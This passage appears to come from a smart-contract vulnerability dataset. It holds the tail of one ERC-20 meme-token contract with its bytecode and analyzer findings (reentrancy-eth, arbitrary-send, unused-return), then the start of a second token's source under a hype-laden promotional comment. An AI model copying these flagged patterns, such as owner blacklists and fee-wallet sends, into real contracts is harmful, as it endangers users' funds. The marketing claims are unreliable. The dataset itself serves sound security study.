rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4f565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e34565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612923565b61048d565b6040516101e09190612e34565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612895565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613066565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ef565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612895565b610783565b6040516102b19190612ff1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d66565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4f565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e34565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ae565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a41565b6110d2565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e7565b61121b565b6040516104189190612ff1565b60405180910390f35b60606040518060400160405280600a81526020017f204c6f72646520496e7500000000000000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b6105568560405180606001604052806028815260200161372a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f31565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f31565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d04565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f204c44494e552000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f31565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613307565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d72565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f31565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128be565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128be565b6040518363ffffffff1660e01b8152600401610e1f929190612d81565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128be565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd3565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a6a565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555068056bc75e2d63100000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612daa565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612a18565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612f31565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612ef1565b60405180910390fd5b6111d960646111cb83683635c9adc5dea0000061206c90919063ffffffff16565b6120e790919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112109190612ff1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190612f91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612eb1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190612ff1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612e71565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612f51565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600e60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690612fd1565b60405180910390fd5b5b5b600f5481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600e60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a739190613127565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600e60159054906101000a900460ff16158015611b2f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600e60169054906101000a900460ff165b15611b6f57611b5581611d72565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e84848484612131565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612e4f565b60405180910390fd5b5060008385611c8b9190613208565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d00573d6000803e3d6000fd5b5050565b6000600654821115611d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4290612e91565b60405180910390fd5b6000611d5561215e565b9050611d6a81846120e790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfe5781602001602082028036833780820191505090505b5090503081600081518110611e3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1691906128be565b81600181518110611f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201b95949392919061300c565b600060405180830381600087803b15801561203557600080fd5b505af1158015612049573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207f57600090506120e1565b6000828461208d91906131ae565b905082848261209c919061317d565b146120dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d390612f11565b60405180910390fd5b809150505b92915050565b600061212983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612189565b905092915050565b8061213f5761213e6121ec565b5b61214a84848461221d565b80612158576121576123e8565b5b50505050565b600080600061216b6123fa565b9150915061218281836120e790919063ffffffff16565b9250505090565b600080831182906121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c79190612e4f565b60405180910390fd5b50600083856121df919061317d565b9050809150509392505050565b600060085414801561220057506000600954145b1561220a5761221b565b600060088190555060006009819055505b565b60008060008060008061222f8761245c565b95509550955095509550955061228d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e8161256b565b6123788483612628565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d59190612ff1565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea000009050612430683635c9adc5dea000006006546120e790919063ffffffff16565b82101561244f57600654683635c9adc5dea00000935093505050612458565b81819350935050505b9091565b60008060008060008060008060006124788a6008546005612662565b925092509250600061248861215e565b9050600080600061249b8e8787876126f8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b600080828461251c9190613127565b905083811015612561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255890612ed1565b60405180910390fd5b8091505092915050565b600061257561215e565b9050600061258c828461206c90919063ffffffff16565b90506125e081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263d826006546124c390919063ffffffff16565b6006819055506126588160075461250d90919063ffffffff16565b6007819055505050565b60008060008061268e6064612680888a61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126b860646126aa888b61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126e1826126d3858c6124c390919063ffffffff16565b6124c390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612711858961206c90919063ffffffff16565b90506000612728868961206c90919063ffffffff16565b9050600061273f878961206c90919063ffffffff16565b905060006127688261275a85876124c390919063ffffffff16565b6124c390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279461278f846130a6565b613081565b905080838252602082019050828560208602820111156127b357600080fd5b60005b858110156127e357816127c988826127ed565b8452602084019350602083019250506001810190506127b6565b5050509392505050565b6000813590506127fc816136e4565b92915050565b600081519050612811816136e4565b92915050565b600082601f83011261282857600080fd5b8135612838848260208601612781565b91505092915050565b600081359050612850816136fb565b92915050565b600081519050612865816136fb565b92915050565b60008135905061287a81613712565b92915050565b60008151905061288f81613712565b92915050565b6000602082840312156128a757600080fd5b60006128b5848285016127ed565b91505092915050565b6000602082840312156128d057600080fd5b60006128de84828501612802565b91505092915050565b600080604083850312156128fa57600080fd5b6000612908858286016127ed565b9250506020612919858286016127ed565b9150509250929050565b60008060006060848603121561293857600080fd5b6000612946868287016127ed565b9350506020612957868287016127ed565b92505060406129688682870161286b565b9150509250925092565b6000806040838503121561298557600080fd5b6000612993858286016127ed565b92505060206129a48582860161286b565b9150509250929050565b6000602082840312156129c057600080fd5b600082013567ffffffffffffffff8111156129da57600080fd5b6129e684828501612817565b91505092915050565b600060208284031215612a0157600080fd5b6000612a0f84828501612841565b91505092915050565b600060208284031215612a2a57600080fd5b6000612a3884828501612856565b91505092915050565b600060208284031215612a5357600080fd5b6000612a618482850161286b565b91505092915050565b600080600060608486031215612a7f57600080fd5b6000612a8d86828701612880565b9350506020612a9e86828701612880565b9250506040612aaf86828701612880565b9150509250925092565b6000612ac58383612ad1565b60208301905092915050565b612ada8161323c565b82525050565b612ae98161323c565b82525050565b6000612afa826130e2565b612b048185613105565b9350612b0f836130d2565b8060005b83811015612b40578151612b278882612ab9565b9750612b32836130f8565b925050600181019050612b13565b5085935050505092915050565b612b568161324e565b82525050565b612b6581613291565b82525050565b6000612b76826130ed565b612b808185613116565b9350612b908185602086016132a3565b612b99816133dd565b840191505092915050565b6000612bb1602383613116565b9150612bbc826133ee565b604082019050919050565b6000612bd4602a83613116565b9150612bdf8261343d565b604082019050919050565b6000612bf7602283613116565b9150612c028261348c565b604082019050919050565b6000612c1a601b83613116565b9150612c25826134db565b602082019050919050565b6000612c3d601d83613116565b9150612c4882613504565b602082019050919050565b6000612c60602183613116565b9150612c6b8261352d565b604082019050919050565b6000612c83602083613116565b9150612c8e8261357c565b602082019050919050565b6000612ca6602983613116565b9150612cb1826135a5565b604082019050919050565b6000612cc9602583613116565b9150612cd4826135f4565b604082019050919050565b6000612cec602483613116565b9150612cf782613643565b604082019050919050565b6000612d0f601783613116565b9150612d1a82613692565b602082019050919050565b6000612d32601183613116565b9150612d3d826136bb565b602082019050919050565b612d518161327a565b82525050565b612d6081613284565b82525050565b6000602082019050612d7b6000830184612ae0565b92915050565b6000604082019050612d966000830185612ae0565b612da36020830184612ae0565b9392505050565b6000604082019050612dbf6000830185612ae0565b612dcc6020830184612d48565b9392505050565b600060c082019050612de86000830189612ae0565b612df56020830188612d48565b612e026040830187612b5c565b612e0f6060830186612b5c565b612e1c6080830185612ae0565b612e2960a0830184612d48565b979650505050505050565b6000602082019050612e496000830184612b4d565b92915050565b60006020820190508181036000830152612e698184612b6b565b905092915050565b60006020820190508181036000830152612e8a81612ba4565b9050919050565b60006020820190508181036000830152612eaa81612bc7565b9050919050565b60006020820190508181036000830152612eca81612bea565b9050919050565b60006020820190508181036000830152612eea81612c0d565b9050919050565b60006020820190508181036000830152612f0a81612c30565b9050919050565b60006020820190508181036000830152612f2a81612c53565b9050919050565b60006020820190508181036000830152612f4a81612c76565b9050919050565b60006020820190508181036000830152612f6a81612c99565b9050919050565b60006020820190508181036000830152612f8a81612cbc565b9050919050565b60006020820190508181036000830152612faa81612cdf565b9050919050565b60006020820190508181036000830152612fca81612d02565b9050919050565b60006020820190508181036000830152612fea81612d25565b9050919050565b60006020820190506130066000830184612d48565b92915050565b600060a0820190506130216000830188612d48565b61302e6020830187612b5c565b81810360408301526130408186612aef565b905061304f6060830185612ae0565b61305c6080830184612d48565b9695505050505050565b600060208201905061307b6000830184612d57565b92915050565b600061308b61309c565b905061309782826132d6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c1576130c06133ae565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131328261327a565b915061313d8361327a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317257613171613350565b5b828201905092915050565b60006131888261327a565b91506131938361327a565b9250826131a3576131a261337f565b5b828204905092915050565b60006131b98261327a565b91506131c48361327a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fd576131fc613350565b5b828202905092915050565b60006132138261327a565b915061321e8361327a565b92508282101561323157613230613350565b5b828203905092915050565b60006132478261325a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329c8261327a565b9050919050565b60005b838110156132c15780820151818401526020810190506132a6565b838111156132d0576000848401525b50505050565b6132df826133dd565b810181811067ffffffffffffffff821117156132fe576132fd6133ae565b5b80604052505050565b60006133128261327a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334557613344613350565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ed8161323c565b81146136f857600080fd5b50565b6137048161324e565b811461370f57600080fd5b50565b61371b8161327a565b811461372657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023ca295a430e665d8602afa0c6f029f3939e391d9fd2cc6310d4dc4266182bf064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
258
0xe529ce5b439d230d018037072419a35e14696ffd
/** ℍ𝕪𝕡𝕖𝕣𝕔𝕪𝕔𝕝𝕖 is brought to you by seasoned developers from past hypercycles. The team has extensive background in developing successful meme coins. They've been able to create over 10+ Meme coins with over 3M daily volume EACH. They've also cracked the code of achieving top 3 trending on Dextools. (this can't always be achieved since it includes multiple external factors.) To prove that we are not only talk, we've decided to launch this coin with one of our old wallets. This wallet created ''SpaceShiba'' which managed to perform fantastically. It raked in over 3m+ Daily volume with a total of 1500+ transactions. It can still be found in over 500 peoples wallets. (All of this can be viewed on Dextools.) To commemorate past HODLers we've decided to airdrop the top 100 holders of ''SpaceShiba'' a total of 1% of $HYPEs total supply (0.01% EACH). The name ℍ𝕪𝕡𝕖𝕣𝕔𝕪𝕔𝕝𝕖 reffers to the good old days, when the uniswap volume was unmatched. We've been keeping an eye on the sidelines and have noticed that the volume now is slowly starting to match the one we all miss. Tokenomics: - Total Supply: 1,000,000,000 $HYPE - Launch Liquidity: 3 Ethereum - Burned Supply: 20% before launch - Airdrop: 1% to the top 100 ''SpaceShiba'' HODLers. (These addresses can be double checked from the multisender TX) - Tax: 10% ( 4% on Buys & 4% on Sells) - Token Redistribution: 2% ( 1% on Buys & 1% on Sells) - Some buy backs will be performed by the fee wallets and the bought tokens burned. - Launch buy limit: 1% of the total supply. - LIQUIDITY WILL BE LOCKED BEFORE TRADING HAS BEEN ENABLED! Telegram: https://t.me/HypercycleETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 